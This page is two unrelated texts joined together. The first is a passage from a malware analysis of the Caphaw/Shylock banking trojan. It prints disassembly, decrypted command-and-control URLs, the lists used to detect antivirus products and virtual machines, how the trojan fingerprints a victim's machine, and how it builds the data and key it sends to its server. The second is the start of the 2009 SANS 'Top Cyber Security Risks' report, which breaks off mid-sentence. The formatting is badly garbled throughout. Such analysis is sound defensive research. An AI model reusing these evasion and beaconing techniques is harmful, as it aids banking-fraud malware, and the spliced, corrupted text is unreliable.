-> Retrieves the ``name` `of the ``local` `computer``Call` `GetUsernameA ->
Retrieves the ``name` `of the user associated with the current
thread**.**``Call` `LookupAccountNameA -> The LookupAccountName function
accepts the ``name` `of ``a` `system ``and``an account as input**.** It
retrieves ``a` `security identifier (SID) ``for` `the account ``and` `the
``name``of the domain on which the account was found**.**`  
---|---  
This information will be used to build the string that will be sent to the
Command&Control server**.** Another important piece is given by the **MD5 hash
of data+ComputerName** , which in our case is:

> 571C8ECED4FAF69E4A38507B4417257B
_Caphaw/Shylock_ implements also a quite trivial check \(carried out via
Process enumeration via CreateToolhelp32Snapshot \) for the presence of
Trusteer’s Rapport  product**.** Immediately after Rapport check we can see
the decryption of a list of strings:

|
`_MTX_VNC``_MTX_PLUGINER``_EVT_AVI``_EVT_VNC``_EVT_VNC_INJ``_EVT_BACK``_EVT_BACK_INJ``_EVT_START``_EVT_TERMPLUGINER``_EVT_SHUTDOWN``_EVT_SHUTDOWN_OK``_EVT_UNINSTALL``_EVT_COOKIES_GET``_EVT_COOKIES_CLEAR``_EVT_COOKIES_CLEAR2``_EVT_COOKIES_GET_CLEAR``_EVT_SOLS_GET``_EVT_SOLS_CLEAR``_EVT_SOLS_GET_CLEAR`  
---|---  
\_EVT\_ clearly suggests us the term Event, these strings will be indeed used
as name parameter for CreateEvent  function**.** Once the strings are
decrypted we’ll get something like this:

<img src='img/Temp2_4385' alt='events' />

We have **MD5\(previously computed\)\_EVT\_\*** , as we have seen we also have
**\_MTX\_** string that clearly indicates that it will be used as a name for a
Mutex**.** The usage of an infection dependent value \(our MD5 which is
computed by using the Computer Name\) allows the trojan to bypass some easy
detection \(a static event name or mutex could became a good _Indicator of
Compromise_\), especially in this case were the string MD5\_EVT\_\* is
encrypted as shown in the following image:

<img src='img/Temp2_4383' alt='after_encryption_events' />

Finally we have the following self explaining piece of code applied to each
event:

| `00EEB4AC` `FF75` `F4` `PUSH` `DWORD` `PTR` `SS``:[``EBP``-``0C``]` `; ASCII
"5nwfKpA{1mHQ`lcRE``=xY52KG-(I6t%bNLs9f$+``0``~'*)_ZS8``**?**``4``"{@w3&Rq>HV[anWlDPQJ;A7zXo1|cTB`**!****.**
,}FOur^mChve]:y/dUkpg<Mj#iE=xY52KG"``00EEB4AF` `E8` `47CBFFFF` `CALL`
`00EE7FFB` `;CreateEventA with the encrypted event string above`  
---|---  
Here it ends the long **Call 00EEA9A7** and we are ready to enter in the
second stage of the trojan as we can infer by the string **HSE::Step 2
\(FIREFOXUPDATE.EXE:1312\)** where _FIREFOXUPDATE.EXE_ is the malicious
executable name and 1312 the PID**.** This phase does not include substantial
operations, except for the creation of an executable name: “ipconfig.exe”**.**

| `00EF5DF8` `E8` `345EFFFF` `CALL` `00EEBC31` `; HSE::Step 3
Guid=%s``00EF5DFD` `8B00` `MOV` `EAX``,``DWORD` `PTR`
`DS``:[``EAX``]``00EF5DFF` `59` `POP` `ECX``00EF5E00` `56` `PUSH`
`ESI``00EF5E01` `50` `PUSH` `EAX``00EF5E02` `8D7424` `18` `LEA`
`ESI``,[``ESP``+``18``]``00EF5E06` `E8` `42FDFDFF` `CALL` `00ED5B4D``00EF5E0B`
`E8` `0F02FEFF` `CALL` `00ED601F` `; HSE::Step 3 Guid=ipconfig.exe`  
---|---  
We land quickly to the Step 3 identified by the string **HSE::Step 3
Guid=ipconfig.exe** , where Guid is equal to the previously decrypted
executable name**.** Additionally we have the following core operations:

| `00EF5E62` `E8` `3E2DFFFF` `CALL` `00EE8BA5` `; CreateMutex with previously
computed MD5 ``00EF5E67` `85C0` `TEST` `EAX``,``EAX``00EF5E69` `0F84`
`D6020000` `JE` `00EF6145``00EF5E6F` `8D4424` `58` `LEA`
`EAX``,[``ESP``+``58``]``00EF5E73` `50` `PUSH` `EAX``00EF5E74` `E8` `96ECFDFF`
`CALL` `00ED4B0F` `; WSAStartup`  
---|---  
We have now a mutex named _571C8ECED4FAF69E4A38507B4417257B571C8571C8ECE_ and
a call to **WSAStartup** which initiates the use of Winsock DLL, this means
that soon we will deal with communication between the client \(our malware\)
and the Command and Control server**.**

| `00EF5E8C` `E8` `A05DFFFF` `CALL` `00EEBC31` `; HSE::Step 4``00EF5E91` `59`
`POP` `ECX``00EF5E92` `8D7424` `10` `LEA` `ESI``,[``ESP``+``10``]``00EF5E96`
`E8` `CDFCFDFF` `CALL` `00ED5B68``00EF5E9B` `8D7C24` `10` `LEA`
`EDI``,[``ESP``+``10``]``00EF5E9F` `E8` `913AFFFF` `CALL` `00EE9935` `; Look
for ipconfig.exe in CurrentVersion\Run`  
---|---  
_HSE::Step 4_ is characterised mainly by the _call 00EE9935_ which is reported
below in our usual synthetic language:

|
`RegOpenKeyA(``'Software\Microsoft\Windows\CurrentVersion\Run'``)``RegQueryValueExA
with the following arguments``hKey =
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]``Name` `=
``"ipconfig.exe"``RegCloseKey()`  
---|---  
Executables listed in **Software\Microsoft\Windows\CurrentVersion\Run** will
be executed during system’s startup, this is the most common way to grant
persistence on the system**.** In our specific case the trojan checks if there
is already an entry named “ipconfig.exe”**.**

| `00EF5ECE` `E8` `5E5DFFFF` `CALL` `00EEBC31` `;"HSE::Step 5 (It's the first
starting)**.** "``00EF5ED3` `59` `POP` `ECX``00EF5ED4` `8D7424` `10` `LEA`
`ESI``,[``ESP``+``10``]``00EF5ED8` `E8` `8BFCFDFF` `CALL` `00ED5B68` `;
nothing``00EF5EDD` `68` `74030000` `PUSH` `374``00EF5EE2` `E8` `F224FEFF`
`CALL` `00ED83D9` `; allocate heap``00EF5EE7` `59` `POP` `ECX``00EF5EE8`
`85C0` `TEST` `EAX``,``EAX``00EF5EEA` `74` `0C` `JE` `SHORT`
`00EF5EF8``00EF5EEC` `57` `PUSH` `EDI``00EF5EED` `8BC8` `MOV`
`ECX``,``EAX``00EF5EEF` `E8` `E7E9FEFF` `CALL` `00EE48DB` `; Decrypt strings
and gather victim's information`  
---|---  
Despite previous Steps, the 5th “**HSE::Step 5 \(It’s the first
starting\)**.**** “, performs some very interesting actions located into
**call 00EE48DB**.This call can be divided in two main sub-functionalities:

  * Decrypt bot dependent strings**.**
  * Victim information gathering**.**

At the begin of this call we have some very interesting string, decrypted on-
the-fly:

  * Decrypt string: ‘**net2** ‘ -> The **name of the botnet****.**
  * Decrypt string: “**2013**.** 08.23 12:55:38**” -> This is the **build time****.**
  * Decrypt string: “**/files/hidden7770777.jpg** ” -> This is the **httpinject configuration****.**

The following URL strings are also decrypted:

  * **“https://thepohzi**.** su/ping.html”**
  * **“https://tohk5ja**.** cc/ping.html”**
  * **“https://oogagh**.** su/ping.html”**
  * **“https://wsysinfonet**.** su/ping.html”**
  * **“https://statinfo**.** cc/ping.html”**

Now let’s take a look at the victim information gathering functionalities**.**  
**System memory information**

| `00EEC8C1` `50` `PUSH` `EAX``00EEC8C2` `E8` `9433FFFF` `CALL` `00EDFC5B` `;
Call GlobalMemoryStatusEx``00EEC8C7` `59` `POP` `ECX``..``00EEC8CC` `50`
`PUSH` `EAX``00EEC8CD` `B8` `D89CEB00` `MOV` `EAX``,``0EB9CD8` `; decrypt
RAM=``00EEC8D2` `E8` `5AF3FFFF` `CALL` `00EEBC31``00EEC8D7` `59` `POP` `ECX`  
---|---  
GlobalMemoryStatusEx retrieves information about the system’s current usage of
both physical and virtual memory, these details goes into RAM= string**.**  
**System hardware information**

| `00EF09F1` `FF75` `FC` `PUSH` `DWORD` `PTR` `SS``:[``EBP``-``4``]``00EF09F4`
`E8` `6EC2FCFF` `CALL` `00EBCC67` `; get ProcessorNameString``00EF09F9` `5B`
`POP` `EBX`  
---|---  
Hardware information is taken via registry key as follows:

| `Decrypt string: ProcessorNameString``Decrypt string:
``"HARDWARE\DESCRIPTION\System\CentralProcessor\0"``RegOpenKeyA(``"HARDWARE\DESCRIPTION\System\CentralProcessor\0"``)``RegQueryValueExA
with parameters:``hKey =
[HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\``0``]``Name`
`= ``"ProcessorNameString"``00EE081E` `895D` `F8` `MOV` `DWORD` `PTR`
`SS``:[``EBP``-``8``],``EBX``00EE0821` `E8` `0BB40000` `CALL` `00EEBC31` `;
Decrypt string "~MHz"``00EE0826` `8B30` `MOV` `ESI``,``DWORD` `PTR`
`DS``:[``EAX``]``..``00EE087C` `8BC6` `MOV` `EAX``,``ESI``00EE087E` `E8`
`9C57FFFF` `CALL` `00ED601F` `; 2492 MHz``00EE0883` `83C4` `0C` `ADD`
`ESP``,``0C`  
---|---  
Finally the following string is assembled:

> CPU= Intel\(R\) Core\(TM\) i5-3210M CPU @ 2**.** 50GHz 2492 MHz RAM=572Mb
**Windows information**

Via SOFTWARE\Microsoft\Windows NT\CurrentVersion registry query Caphaw
collects victim’s data as follows:

| `00EE3F27` `50` `PUSH` `EAX``00EE3F28` `E8` `45CC0000` `CALL` `00EF0B72` `;
Get ProductId``00EE3F2D` `83C4` `14` `ADD`
`ESP``,``14``RegOpenKeyExA(``"SOFTWARE\Microsoft\Windows
NT\CurrentVersion"``)``RegQueryValueExA``hKey =
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion]``Name` `=
``"ProductId"`  
---|---  
We will meet a certain number of _call 00EF0B72_ where the only parameter that
varies is **Name****.** Here’s a quick list of entries called:

  * **“RegisteredOwner”**
  * **“RegisteredOrganization”**
  * **“CurrentVersion”**
  * **“CurrentBuild”**
  * **“CurrentBuildNumber”**
  * **“InstallDate”**

Final information gathered can be summarised as follows:

> Version=5**.** 1.2600  
>  InstallData=28.07**.** 2013 14:09  
>  Serial=XXXX  
>  Key=XXXXXXX  
>  RegisterUser=xp  
>  Organization=none
XXX = we have removed our serials, hope you won’t mind <img
src='img/Temp2_4386' alt=':)' /> **.**

| `00EECA81` `E8` `E534FFFF` `CALL` `00EDFF6B` `; Determine if we are via SID
check`  
---|---  
This call uses _AllocateAndInitializeSid_ and _CheckTokenMembership_ in order
to determine if the caller’s process is a member of the Administrators local
group**.** More information can be found here: IsUserAdmin via
CheckTokenMembership **.**

Final string:

> Admin=Yes
**FileSystem information**

Next step involves collection of details about the FileSystem geometry of the
victim:

| `00EDFA44` `E8` `EB8AFFFF` `CALL` `00ED8534` `; GetLogicalDrives``00EDFA49`
`6A` `02` `PUSH` `2``..``00EDFAF5` `8D45` `F8` `LEA`
`EAX``,[``EBP``-``8``]``00EDFAF8` `8D7D` `E8` `LEA`
`EDI``,[``EBP``-``18``]``00EDFAFB` `E8` `9DFDFFFF` `CALL` `00EDF89D` `;
GetDriveTypeA`  
---|---  
Here we have a loop that iterates each logical drive and finally builds a
synthesis of the gathered geometry, as reported below:

| `FS``=``C``: [``LOCAL``,NTFS,T=9GB:U=2GB(``25``%)]``D``:
[``CD``-ROM,CDFS,``E``: [REMOTE,VBoxSharedFolderFS,T=464GB:U=86GB(``18``%)]`  
---|---  
**Browser information gathering**

Trojan now looks for installed browser\(s\) and version**.**

| `Decrypt string: ``"SOFTWARE\Microsoft\Internet
Explorer"``RegOpenKeyA(``"SOFTWARE\Microsoft\Internet
Explorer"``)``RegQueryValueExA with the following parameters:``hKey =
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer]``Name` `=
``"Version"`  
---|---  
Final string:

> “IE=6**.** 0**.** 2900.2180″
In the same way via **“SOFTWARE\Mozilla\Mozilla Firefox”** Shylock determines
the presence and version of Firefox**.**

Final string:

> “FF=3**.** 6.28 \(en-GB\)”
We have also the following browsers and version checks:

  * **Software\Google\Update\Client - > Chrome**.****
  * **Software\Opera Software - > Opera**.****
  * **Software\Apple Computer, Inc**.** \Safari -> Safari.**

The trojan looks also for Maxthon browser presence, but in this case the check
is performed by attempting to reach the following paths:

  1. **get ProgramFiles path via GetEnvironmentVariable**
  2. **decrypts “%s\Maxthon%u\Bin\maxthon.exe” string**
  3. **concatenates ProgramFiles with**.** 2**
  4. **Builds the following string: “C:\Program Files\Maxthon10\Bin\maxthon.exe”**
  5. **Check presence and version via GetFileVersionInfoSizeA, GetFileVersionInfoA**
  6. **Next iteration – jump to**.** 2**

This loop goes from Maxthon 10 to Maxthon 1**.**

**Antivirus information gathering**

In the next information extraction stage we meet the Antivirus awareness
routine performed with the aim of determining the presence of AV software**.**

| `00EE19E6` `E8` `46A20000` `CALL` `00EEBC31` `; Decrypt the AV Name: Agava
Firewall``..``00EE19F9` `B8` `6C6FEB00` `MOV` `EAX``,``0EB6F6C``00EE19FE` `E8`
`2EA20000` `CALL` `00EEBC31` `; Fwservice.exe``00EE1A03` `59` `POP` `ECX`  
---|---  
We have a long sequence of string decryption calls, which exposes **AV Name**
and their **Executable Filenames****.** In the following list we reported the
full set of AV strings:

| `"Agava firewall"``"Fwservice.exe"``"AtGuard
firewall"``"iamapp.exe"``"Authentium"``"Avira"``"AVG"``"BitDefender"``"BullGuard"``"CA"``"Comodo
firewall"``"Comcast Spyware Scan"``"DeepFreeze"``"Doctor
Web"``"Emsisoft"``"Kaspersky"``"Kerio
firewall"``"Malwarebytes"``"MSEssentials"``"Nod32"``"NeT
firewall"``"Norton360"``"Norton"``"McAfee"``"MS Firewall Client"``"Lavasoft
Ad-Aware"``"OnlineArmor firewall"``"Outpost firewall"``"Panda"``"Panda
firewall"``"Rapport"``"PC Cleaner"``"Prevx"``"PC
Tools"``"Sophos"``"SoftPerfect Personal Firewall"``"Spyware
Doctor"``"SpybotSD"``"SUPERAntiSpyware"``"Symantec"``"Trend
Micro"``"QuickHeal"``"Webroot"``"Windows Defender"``"Virgin
Media"``"ZoneAlarm"`  
---|---  
After the string decryption we can find the AV awareness routine:

| `00EE3979` `E8` `C053FFFF` `CALL` `00ED8D3E` `;
CreateToolhelp32Snapshot``00EE397E` `8945` `D4` `MOV` `DWORD` `PTR`
`SS``:[``EBP``-``2C``],``EAX``00EE3981` `83F8` `FF` `CMP`
`EAX``,-``1``00EE3984` `0F84` `72010000` `JE` `00EE3AFC``00EE398A` `BE`
`28010000` `MOV` `ESI``,``128``00EE398F` `56` `PUSH` `ESI``00EE3990` `8D85`
`A4FEFFFF` `LEA` `EAX``,[``EBP``-``15C``]``00EE3996` `6A` `00` `PUSH`
`0``00EE3998` `50` `PUSH` `EAX``00EE3999` `E8` `E6270100` `CALL`
`<``JMP``.memset``> ``00EE399E` `83C4` `0C` `ADD` `ESP``,``0C``00EE39A1`
`8D85` `A4FEFFFF` `LEA` `EAX``,[``EBP``-``15C``]``00EE39A7` `50` `PUSH`
`EAX``00EE39A8` `FF75` `D4` `PUSH` `DWORD` `PTR`
`SS``:[``EBP``-``2C``]``00EE39AB` `89B5` `A4FEFFFF` `MOV` `DWORD` `PTR`
`SS``:[``EBP``-``15C``],``ESI``00EE39B1` `E8` `6557FFFF` `CALL` `00ED911B` `;
Process32First``00EE39B6` `E9` `2E010000` `JMP` `00EE3AE9``00EE39BB` `8365`
`DC` `00` `AND` `DWORD` `PTR` `SS``:[``EBP``-``24``],``00000000``00EE39BF`
`837D` `E8` `00` `CMP` `DWORD` `PTR` `SS``:[``EBP``-``18``],``0``00EE39C3`
`0F86` `11010000` `JBE` `00EE3ADA``00EE39C9` `8B45` `E4` `MOV` `EAX``,``DWORD`
`PTR` `SS``:[``EBP``-``1C``]``00EE39CC` `8945` `E0` `MOV` `DWORD` `PTR`
`SS``:[``EBP``-``20``],``EAX``00EE39CF` `8D85` `C8FEFFFF` `LEA`
`EAX``,[``EBP``-``138``]``00EE39D5` `50` `PUSH` `EAX` `; Current running
process item``00EE39D6` `8D75` `D8` `LEA` `ESI``,[``EBP``-``28``]``00EE39D9`
`E8` `0F21FFFF` `CALL` `00ED5AED` `; Compare running process name with AV
list`  
---|---  
This code is pretty easy, Caphaw enumerates the running processes and compares
each one against the previously decrypted AV list**.**

**VM Awareness and****characterisation**

Caphaw also tries to determine if the malware is being executed in a Virtual
Environment and determines what is the virtualization solution in use**.**  
We will show here the two methods adopted:

  1. **Via running processes**
  2. **Via system files**.****

Let’s see the first one**.**

| `00ED6570` `E8` `C9270000` `CALL` `00ED8D3E` `;
CreateToolhelp32Snapshot``00ED6575` `8BF8` `MOV` `EDI``,``EAX``00ED6577`
`83FF` `FF` `CMP` `EDI``,-``1``00ED657A` `74` `62` `JE` `SHORT`
`00ED65DE``00ED657C` `68` `28010000` `PUSH` `128``00ED6581` `8D85` `D4FEFFFF`
`LEA` `EAX``,[``EBP``-``12C``]``00ED6587` `53` `PUSH` `EBX``00ED6588` `50`
`PUSH` `EAX``00ED6589` `E8` `F6FB0100` `CALL` `<``JMP``.memset``> ` `; Jump to
msvcrt.memset``00ED658E` `8D85` `D4FEFFFF` `LEA`
`EAX``,[``EBP``-``12C``]``00ED6594` `50` `PUSH` `EAX``00ED6595` `57` `PUSH`
`EDI``00ED6596` `C785` `D4FEFFFF` `2` `MOV` `DWORD` `PTR`
`SS``:[``EBP``-``12C``],``128``00ED65A0` `E8` `762B0000` `CALL` `00ED911B` `;
Process32First``00ED65A5` `83C4` `14` `ADD` `ESP``,``14``00ED65A8` `EB` `21`
`JMP` `SHORT` `00ED65CB``00ED65AA` `8D85` `F8FEFFFF` `LEA`
`EAX``,[``EBP``-``108``]``00ED65B0` `50` `PUSH` `EAX` `; EAX points to the
process name``00ED65B1` `E8` `3D720000` `CALL` `00EDD7F3``00ED65B6` `59` `POP`
`ECX``00ED65B7` `3B45` `08` `CMP` `EAX``,``DWORD` `PTR` `SS``:[``EBP``+``8``]
` `; compare computed dword with a list of dwords``00ED65BA` `74` `15` `JE`
`SHORT` `00ED65D1``00ED65BC` `8D85` `D4FEFFFF` `LEA`
`EAX``,[``EBP``-``12C``]``00ED65C2` `50` `PUSH` `EAX``00ED65C3` `57` `PUSH`
`EDI``00ED65C4` `E8` `232B0000` `CALL` `00ED90EC` `; Process32Next``00ED65C9`
`59` `POP` `ECX``00ED65CA` `59` `POP` `ECX``00ED65CB` `85C0` `TEST`
`EAX``,``EAX``00ED65CD` `^ ``75` `DB` `JNE` `SHORT` `00ED65AA` `; Next process
name`  
---|---  
Inside _call 00EDD7F3_

| `00EDD51F` `8B75` `08` `MOV` `ESI``,``DWORD` `PTR` `SS``:[``EBP``+``8``] `
`; Process name in uppercase``00EDD522` `33D2` `XOR` `EDX``,``EDX``00EDD524`
`FC` `CLD``00EDD525` `33C0` `XOR` `EAX``,``EAX``00EDD527` `AC` `LODS` `BYTE`
`PTR` `DS``:[``ESI``] ` `; Place in AL one character of the process
name``00EDD528` `0BC0` `OR` `EAX``,``EAX``00EDD52A` `74` `07` `JE` `SHORT`
`00EDD533``00EDD52C` `33D0` `XOR` `EDX``,``EAX``00EDD52E` `C1CA` `03` `ROR`
`EDX``,``3``00EDD531` `^ ``EB` `F2` `JMP` `SHORT` `00EDD525``00EDD533` `8955`
`FC` `MOV` `DWORD` `PTR` `SS``:[``EBP``-``4``],``EDX` `; Computed DWORD in EDX
is placed in EBP-4``00EDD536` `8B45` `FC` `MOV` `EAX``,``DWORD` `PTR`
`SS``:[``EBP``-``4``] ` `; then moved in EAX`  
---|---  
This is a way to check for the presence of a certain running process, instead
of using a classical string compare between two names, it computes an encoded
DWORD and checks it against a list of precomputed encoded DWORDs**.** The
immediate effect is to perform a check without disclosing the process that
Caphaw is looking for**.**

**Via system files**

Another way to reach the same goal is by looking for some specific system file
left by the virtualization solution**.** In first instance Caphaw builds a
list of interesting system files, then we find the following piece of code:

| `00EE1387` `8B45` `E0` `MOV` `EAX``,``DWORD` `PTR`
`SS``:[``EBP``-``20``]``00EE138A` `3BC7` `CMP` `EAX``,``EDI``00EE138C` `75`
`04` `JNE` `SHORT` `00EE1392``00EE138E` `33C0` `XOR` `EAX``,``EAX``00EE1390`
`EB` `03` `JMP` `SHORT` `00EE1395``00EE1392` `8D04B0` `LEA`
`EAX``,[``ESI``*``4``+``EAX``]``00EE1395` `FF30` `PUSH` `DWORD` `PTR`
`DS``:[``EAX``] ` `; EAX points to the system filename``00EE1397` `E8`
`57C4FFFF` `CALL` `00EDD7F3` `; build DWORD from the filename (same algorithm
of case **.** 1)``00EE139C` `59` `POP` `ECX``00EE139D` `3D` `8822ED23` `CMP`
`EAX``,``23ED2288` `00EE13A2` `0F84` `D3000000` `JE` `00EE147B` `00EE13A8`
`3D` `1346FA2F` `CMP` `EAX``,``2FFA4613``00EE13AD` `0F84` `C8000000` `JE`
`00EE147B``00EE13B3` `3D` `10C656F0` `CMP` `EAX``,``F056C610``00EE13B8` `0F84`
`BD000000` `JE` `00EE147B``00EE13BE` `3D` `E82FFC23` `CMP`
`EAX``,``23FC2FE8``00EE13C3` `0F84` `B2000000` `JE` `00EE147B``00EE13C9` `3D`
`A8B4DE23` `CMP` `EAX``,``23DEB4A8``00EE13CE` `0F84` `A7000000` `JE`
`00EE147B``00EE13D4` `46` `INC` `ESI``00EE13D5` `3B75` `E4` `CMP`
`ESI``,``DWORD` `PTR` `SS``:[``EBP``-``1C``]``00EE13D8` `^ ``72` `AD` `JB`
`SHORT` `00EE1387`  
---|---  
The concept is pretty similar to the method 1 \(same DWORD value build
algorithm\) but this time it is applied to the system’s  
filenames**.** We can place a breakpoint on _00EE147B_ and check what
happens**.** In our case we are running VirtualBox and situation  
at address _00EE147B_ is:

> EAX = 23DEB4A8  
>  ECX = points to ‘VBoxGuest.sys’
Caphaw correctly spotted the presence of _VBoxGuest.sys_ which is a specific
VirtualBox driver**.**

Finally at the end we have the following strings:

> AntiMalwares=VirtualBox  
>  VirtualMachine=Yes
Immediately after we get the assembled **bot** specific strings:

> Botnet=net2  
>  HJVer=1**.** 7.11.12850  
>  BuildTime=2013**.** 08.23 12:55:38
| `0EED05D` `50` `PUSH` `EAX``00EED05E` `E8` `5B35FFFF` `CALL` `00EE05BE` `;
get specific userinit.exe informations``00EED063` `59` `POP` `ECX`  
---|---  
Below we reported the collected details:  

<img src='img/Temp2_4387' alt='userinitinfo' />

  
Installed software:

| `0EED12D` `50` `PUSH` `EAX``00EED12E` `E8` `763FFFFF` `CALL` `00EE10A9` `;
build a list of the installed programs``00EED133` `59` `POP` `ECX`  
---|---  
> Installed=HKEY\_LOCAL\_MACHINE Cerbero Profilerversion 0**.** 7Explorer
> Suite IV Mozilla Firefox \(3.6**.** 28\) Oracle VMVirtualBox Guest Additions
> 4.2.16 WinPcap 4.1**.** 3 Wireshark 1.10.1 \(32-bit\)
**Processes list**

| `00EED18D` `50` `PUSH` `EAX``00EED18E` `E8` `5C2BFFFF` `CALL` `00EDFCEF` `;
get processes list``00EED193` `83C4` `08` `ADD` `ESP``,``8`  
---|---  
Here how look at the end of gathering process:

> \[System Process\]System smss.exe ==> \SystemRoot\System32\smss.exe
> csrss.exe == \**?****?** \C:\WINDOWS\system32\csrss.exe winlogon.exe ==>
> \**?****?** \C:\WINDOWS\system32\winlogon.exe services.exe ==>
> C:\WINDOWS\system32\services.exe
We have running\_process\_filename ==> path\_of\_the\_executable

**Get CPU status**

| `00EED1E8` `8D45` `DC` `LEA` `EAX``,[``EBP``-``24``]``00EED1EB` `E8`
`DF0EFFFF` `CALL` `00EDE0CF` `; Dump Registry and other CPU current
status``00EED1F0` `8D4D` `D8` `LEA` `ECX``,[``EBP``-``28``]`  
---|---  
In sythesis we have :

> crc=C913\#00000000 EAX=00000005 EBX=756E6547 ECX=6C65746E EDX=49656E69  
>  \#00000001 EAX=000306A9 EBX=00000800 ECX=00000209 EDX=078BF9FF  
>  \#00000002EAX=76035A01 EBX=00F0B2FF ECX=00000000 EDX=00CA0000  
>  \#80000002 EAX=20202020 EBX=49202020 ECX=6C65746E EDX=20295228  
>  \#80000003 EAX=65726F43 EBX=294D5428 ECX=2D356920 EDX=30313233  
>  \#80000004 EAX=5043204D EBX=20402055 ECX=30352E32 EDX=007A4847
**Get current timestamp values**

| `00EED22D` `8BF8` `MOV` `EDI``,``EAX``00EED22F` `E8` `93300000` `CALL`
`00EF02C7``00EED234` `8B30` `MOV` `ESI``,``DWORD` `PTR` `DS``:[``EAX``] ` `;
ASCII "2013**.** 10**.** 01+12%3a56%3a52.577"`  
---|---  
**Bot specific POST data**

| `00EED274` `B8` `449EEB00` `MOV` `EAX``,``0EB9E44``00EED279` `E8` `B3E9FFFF`
`CALL` `00EEBC31` `; Decrypt
"&net=%s&cmd=log&w=cmpinfo&bt=%s&ver=%s&time=%s&t="``00EED27E` `59` `POP`
`ECX`  
---|---  
Finally we have:

> “&net=net2&cmd=log&w=cmpinfo&bt=2013**.** 08.23+12%3a55%3a38&ver=1**.**
> 7.11.12850&time=2013.10**.** 01+12%3a56%3a52.577&t=”
please note that net’s value is equal to the previously seen
**Botnet=net2****.**

| `00EED2EB` `E8` `EE9DFFFF` `CALL` `00EE70DE` `; build final Bot specific
string``00EED2F0` `8D45` `EC` `LEA` `EAX``,[``EBP``-``14``]`  
---|---  
The most important element of this call is given by “key=”, we reported below
how this value is build:

| `MD5(``'85085085085'``) = ``"77487c28cbc78c457a3413a3cae1ac29"``Get first
``10` `bytes of the hash ``'77487c28cb'``MD5(``'77487c28cb'``) =
``"a323e7d52db72c389f4a804f2361639d"``Get first ``10` `bytes of the hash
``'a323e7d52d'``key=``a323e7d52d`  
---|---  
Finally we have:

> key=a323e7d52d&id=571C8ECED4FAF69E4A38507B4417257B&inst=master
The end of this phase is decreed by the following call which assembles ALL
information collected until now**.**

| `00EED2C6` `8D7D` `FC` `LEA` `EDI``,[``EBP``-``4``]``00EED2C9` `E8`
`F92F0000` `CALL` `00EF02C7``00EED2CE` `59` `POP` `ECX` `;ECX points to the
build data buffer`  
---|---  
**Conclusions for the first episode**

Here it ends the first chapter of Caphaw/Shylock analysis, stay tuned for the
other two**.**

In this episode we have observed the malware from its dropping zone and after
we went through static and dynamic analysis of PE and unpacking**.** Once
we’ve reached the unpacked core we have analysed its first functional steps up
to the _HSE::Step 5_**.** In the next episodes we will see:

  * **how the collected information will be used**.****
  * **network interactions Bot <-> C&C Server**.****
  * **explorer.exe code injection**.****
  * **what “master” \(code injected\) does inside explorer.exe**

****

# SANS: The Top Cyber Security Risks

**Created:**| _9/15/2009 3:53:15 PM_  
---|---  
**Updated:**| _9/15/2009 3:54:11 PM_  
**Author:**| __  
**Tags:**| _report statistics_  
  

  

* * *
# The Top Cyber Security Risks

Two risks dwarf all others, but organizations fail to mitigate them

Featuring attack data from TippingPoint intrusion prevention systems
protecting 6,000 organizations, vulnerability data from 9,000,000 systems
compiled by Qualys, and additional analysis and tutorial by the Internet Storm
Center and key SANS faculty members.

September 2009

## Contents

Executive summary

Overview

Vulnerability exploitation trends

    Application vulnerabilities exceed OS vulnerabilities
    Web application attacks
    Windows: Conficker/Downadup
    Apple: QuickTime and six more
Origin and destination analysis for four key attacks

Application patching is much slower than operating system patching

Tutorial: Real-life HTTP client-side exploitation example

    Step 0: Attacker places content on trusted site
    Step 1: Client-side exploitation
    Step 2: Establish reverse shell backdoor using HTTPS
    Steps 3 and 4: Dump hashes and use pass-the-hash attack to pivot
    Step 5: Pass the hash to compromise domain controller
    Steps 6 and 7: Exfiltration
Zero-day vulnerability trends

Best practices in mitigation and control of the top risks

    Critical Controls - As Applied to HTTP Server Threats
### Executive Summary

#### Priority One: Client-side software that remains unpatched.

Waves of targeted email attacks, often called spear phishing, are exploiting
client-side vulnerabilities in commonly used programs such as Adobe PDF
Reader, QuickTime, Adobe Flash and Microsoft Office. This is currently the
primary initial infection vector used to compromise computers that have
Internet access. Those same client-side vulnerabilities are exploited by
attackers when users visit infected web sites. \(See Priority Two below for
how they compromise the web sites\). Because the visitors feel safe
downloading documents from the trusted sites, they are easily fooled into
opening documents and music and video that exploit client-side
vulnerabilities. Some exploits do not even require the user to open documents.
Simply accessing an infected website is all that is needed to compromise the
client software. The victims' infected computers are then used to propagate
the infection and compromise other internal computers and sensitive servers
incorrectly thought to be protected from unauthorized access by external
entities. In many cases, the ultimate goal of the attacker is to steal data
from the target organizations and also to install back doors through which the
attackers can return for further exploitation. On average, major organizations
take at least twice as long to patch client-side vulnerabilities as they take
to patch operating system vulnerabilities. In other words the highest priority
risk is getting less attention than the lower priority risk.

#### Priority Two: Internet-facing web sites that are vulnerable.

Attacks against web applications constitute more than 60% of the total attack
attempts observed on the Internet. These vulnerabilities are being exploited
widely to convert trusted web sites into malicious websites serving content
that contains client-side exploits. Web application vulnerabilities such as
SQL injection and Cross-Site Scripting flaws in open-source as well as custom-
built applications account for more than 80% of the vulnerabilities being
discovered. Despite the enormous number of attacks and despite widespread
publicity about these vulnerabilities, most web site owners fail to scan
effectively for the common flaws and become unwitting tools used by criminals
to infect the visitors that trusted those sites to provide a safe web
experience.

#### Operating systems continue to have fewer remotely-exploitable
vulnerabilities that lead to massive Internet worms.

Other than Conficker/Downadup, no new major worms for OSs were seen in the
wild during the reporting period. Even so, the number of attacks against
buffer overflow vulnerabilities in Windows tripled from May-June to July-
August and constituted over 90% of attacks seen against the Windows operating
system.

#### Rising numbers of zero-day vulnerabilities

World-wide there has been a significant increase over the past three years in
the number of people discovering zero-day vulnerabilities, as measured by
multiple independent teams discovering the same vulnerabilities at different
times. Some vulnerabilities have remained unpatched for as long as two years.
There is a corresponding shortage of highly skilled vulnerability researchers
working for government and software vendors. So long as that shortage exists,
the defenders will be at a significant disadvantage in protecting their
systems against zero-day attacks. A large decline in the number of "PHP File
Include" attacks appears to reflect improved processes used by application
developers, system administrators, and other security professionals.

top^

### Overview

Throughout the developed world, governments, defense industries, and companies
in finance, power, and telecommunications are increasingly targeted by
overlapping surges of cyber attacks from criminals and nation-states seeking
economic or military advantage. The number of attacks is now so large and
their sophistication so great, that many organizations are having trouble
determining which new threats and vulnerabilities pose the greatest risk and
